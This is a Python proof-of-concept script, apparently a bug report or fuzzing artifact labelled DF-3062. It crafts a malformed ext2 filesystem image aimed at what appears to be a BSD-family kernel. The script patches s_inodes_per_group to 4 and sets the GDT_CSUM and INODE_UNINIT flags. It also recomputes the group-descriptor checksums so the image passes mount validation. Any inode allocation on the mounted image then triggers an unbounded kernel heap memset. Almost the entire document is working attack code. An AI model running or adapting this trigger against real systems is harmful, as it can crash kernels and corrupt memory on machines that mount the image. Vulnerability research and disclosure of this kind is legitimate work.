DF-3062 / craft3062.py
#!/usr/bin/env python3 """Craft the DF-3062 trigger image. Mount-legal geometry: bsize=4096, inode_size=1024 => ipb=4; s_inodes_per_group patched to 4 (>= ipb, <= bsize*8 => passes sys/vfs/ext2fs/ext2_vfsops.c:583). ro_compat GDT_CSUM (0x10) + EXT2_BG_INODE_UNINIT (0x1) on group 0 with nifree>0 and s_free_inodes_count>0. On any inode allocation (touch) ext2_nodealloccg hits ibytes = fs->e2fs_ipg / 8; /* 4/8 == 0 */ memset(bp->b_data, 0, ibytes - 1); /* (size_t)-1 !! */ (sys/vfs/ext2fs/ext2_alloc.c:1319-1320) => unbounded kernel heap memset. gd checksums recomputed with the kernel's ext2_crc16 (poly 0x8005 reflected, init ~0) over uuid || cg_le32 || gd[0:30] (GDT_CSUM, no 64BIT). Usage: craft3062.py <out.img> """ import struct, subprocess, sys SB = 1024 def crc16_tab(): tab = [] for i in range(256): c = i for _ in range(8): c = (c >> 1) ^ 0xA001 if c & 1 else c >> 1 tab.append(c) return tab TAB = crc16_tab() def crc16(buf, crc): for b in buf: crc = ((crc >> 8) ^ TAB[(crc ^ b) & 0xff]) & 0xFFFF return crc def gd_csum(uuid, cg, gd): crc = crc16(uuid, 0xFFFF) crc = crc16(struct.pack('<I', cg), crc) crc = crc16(gd[0:30], crc) # up to offsetof(ext4bgd_csum) return crc # store LE def main(out): # 4MB image, ext2, 4096-byte blocks, 1024-byte inodes subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '4096', '-I', '1024', '-N', '16', out, '1024'], check=True) f = open(out, 'r+b') f.seek(SB); sb = bytearray(f.read(1024)) assert struct.unpack_from('<H', sb, 0x38)[0] == 0xEF53 def p32(o, v): struct.pack_into('<I', sb, o, v) def p16(o, v): struct.pack_into('<H', sb, o, v) def u32(o): return struct.unpack_from('<I', sb, o)[0] bsize = 1024 << u32(0x18) firstdb = u32(0x14) uuid = bytes(sb[0x68:0x78]) # --- superblock patches --- p32(0x10, 4) # s_free_inodes_count = 4 (>0 for valloc gate) p32(0x28, 4) # s_inodes_per_group = 4 (>= ipb=4: legal) ro = u32(0x64) p32(0x64, ro | 0x0010) # ro_compat |= GDT_CSUM (in ROCOMPAT_SUPP) # --- group descriptor 0 (block 1 for bsize 4096, first_dblock 0) --- gdblk = 1 if firstdb == 0 else 2 f.seek(gdblk * bsize); gd = bytearray(f.read(32)) struct.pack_into('<H', gd, 14, 4) # bg_free_inodes_count = 4 flags = struct.unpack_from('<H', gd, 18)[0] struct.pack_into('<H', gd, 18, flags | 1) # EXT2_BG_INODE_UNINIT struct.pack_into('<H', gd, 28, 0) # bg_itable_unused = 0 struct.pack_into('<H', gd, 30, gd_csum(uuid, 0, gd)) f.seek(gdblk * bsize); f.write(gd) f.seek(SB); f.write(sb) f.close() print(f"craft3062: bsize={bsize} ipg=4 ipb=4 ro_compat={ro|0x10:#x} " f"gd_flags={flags|1:#x} gd_csum={struct.unpack_from('<H',gd,30)[0]:#06x}") print(f"OK wrote {out}") if __name__ == '__main__': main(sys.argv[1]) |